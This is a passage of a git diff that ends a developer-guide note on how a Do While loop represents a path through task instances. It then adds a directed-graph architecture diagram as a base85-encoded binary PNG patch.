post_to_orbit_ref_1 +3. zero_offset_fix_2 +4. post_to_orbit_ref_2 +5. zero_offset_fix_3 +6. post_to_orbit_ref_3 + +The path is directed forward to different task instances, each with its own unique inputs and outputs. The Do While loop simply makes it easier to represent this path. \ No newline at end of file diff --git a/docs/devguide/architecture/directed_graph.png b/docs/devguide/architecture/directed_graph.png new file mode 100644 index 0000000000000000000000000000000000000000..103189a6759df9ada49de478b5b49554a0e6640b GIT binary patch literal 59102 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 